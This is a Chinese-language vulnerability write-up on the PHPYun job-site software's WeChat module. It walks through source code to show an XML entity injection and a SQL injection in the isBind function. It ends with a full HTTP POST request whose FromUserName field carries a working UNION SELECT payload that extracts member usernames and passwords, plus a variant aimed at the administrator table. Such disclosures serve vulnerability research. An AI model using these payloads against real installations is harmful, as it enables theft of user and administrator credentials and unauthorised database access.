首先我们来说一说$GLOBALS["HTTP_RAW_POST_DATA"]这个东东,他会吧POST过来的内容原封不动的传进来,所以phpyun的那些铜墙铁壁的防御也就没用了!!! 还是文件:weixin/model/index.class.php XML实体注入:
private function responseMsg() { $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)){ $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $time = time(); $textTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType> <Content><![CDATA[%s]]></Content> <FuncFlag>0</FuncFlag> </xml>"; if(!empty( $keyword )) { $msgType = "text"; $contentStr = "Welcome to wechat world!"; $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); echo $resultStr; }else{ echo "Input something..."; } }else { echo ""; exit; } }
这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];通过simplexml_load_string解析后的内容,直接带入了$textTpl。 然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,最后将其echo出来了。
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); echo $resultStr;
整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?! ##############这个应该不会重复了吧!################ SQL注入
if($MsgType=='event') { $MsgEvent = $postObj->Event; if ($MsgEvent=='subscribe') { $centerStr = "<Content><![CDATA[欢迎您关注".iconv('gbk','utf-8',$this->config['sy_webname'])."!\n 1:您可以直接回复关键字如【销售】、【南京 销售】、【南京 销售 XX公司】查找您想要的职位\n绑定您的账户体验更多精彩功能\n感谢您的关注!]]></Content>"; $this->MsgType = 'text'; }elseif ($MsgEvent=='CLICK') { $EventKey = $postObj->EventKey; if($EventKey=='我的帐号'){ $centerStr = $this->bindUser($fromUsername); }elseif($EventKey=='我的消息') { $centerStr = $this->myMsg($fromUsername); }elseif($EventKey=='面试邀请') { $centerStr = $this->Audition($fromUsername); }elseif($EventKey=='简历查看') { $centerStr = $this->lookResume($fromUsername); }elseif($EventKey=='刷新简历') { $centerStr = $this->refResume($fromUsername);
从代码中开出,当满足那上面的条件后都会进入各种的函数,但是都会进入一个isBind函数 。 例如EventKey=我的账号,就会进入bindUser函数:
private function bindUser($wxid='') { $bindType = $this->isBind($wxid); $this->MsgType = 'text'; return $bindType['cenetrTpl']; }
然后,我们来看看这个isBind函数:
private function isBind($wxid='') { if($wxid) { $User = $this->obj->DB_select_once("member","`wxid`='".$wxid."'","`uid`,`username`"); } if($User['uid']>0) { $User['bindtype'] = '1'; $User['cenetrTpl'] = "<Content><![CDATA[您的".iconv('gbk','utf-8',$this->config['sy_webname'])."帐号:".$User['username']."已成功绑定! \n\n\n 您也可以<a href=\"".$this->config['sy_weburl']."/wap/index.php?m=login&wxid=".$wxid."\">点击这里</a>进行解绑或绑定其他帐号]]></Content>"; }else{ $Token = $this->getToken(); $Url = 'https://api.weixin.qq.com/cgi-bin/user/info?access_token='.$Token.'&openid='.$wxid.'&lang=zh_CN'; $CurlReturn = $this->CurlPost($Url); $UserInfo = json_decode($CurlReturn); $wxid = $wxid; $wxname = $UserInfo->nickname; $this->config['token_time'] = time(); $User['cenetrTpl'] = '<Content><![CDATA[您还没有绑定帐号,<a href="'.$this->config['sy_weburl'].'/wap/index.php?m=login&wxid='.$wxid.'">点击这里</a>进行绑定!]]></Content>'; } return $User; }
这里的$wxid就是我们传进来的FromUserName的值,直接进入SQL语句,这里可以任意注入。
默认是没有wx_token的。 这里要注意: signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 Content-Type: text/xml 发送请求:
POST /phpyun/weixin/index.php?m=index&c=index&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/xml;charset=utf-8 Content-Length: 354 <?xml version="1.0" encoding="utf-8"?> <xml> <ToUserName>1111</ToUserName> <FromUserName>1111' and 1=2 union select 1,(select concat(username,password) from phpyun_member limit 0,1)#</FromUserName> <CreateTime>1402550611</CreateTime> <MsgType>event</MsgType> <Event>CLICK</Event> <EventKey>我的账号</EventKey> <FuncFlag>0</FuncFlag> </xml>
返回结果,插件页面源代码:
成功获取用户信息。 发送:<FromUserName>1111' and 1=2 union select 1,(select concat(username,0x23,password) from phpyun_admin_user limit 0,1)#</FromUserName> 即可获取管理员用户账号。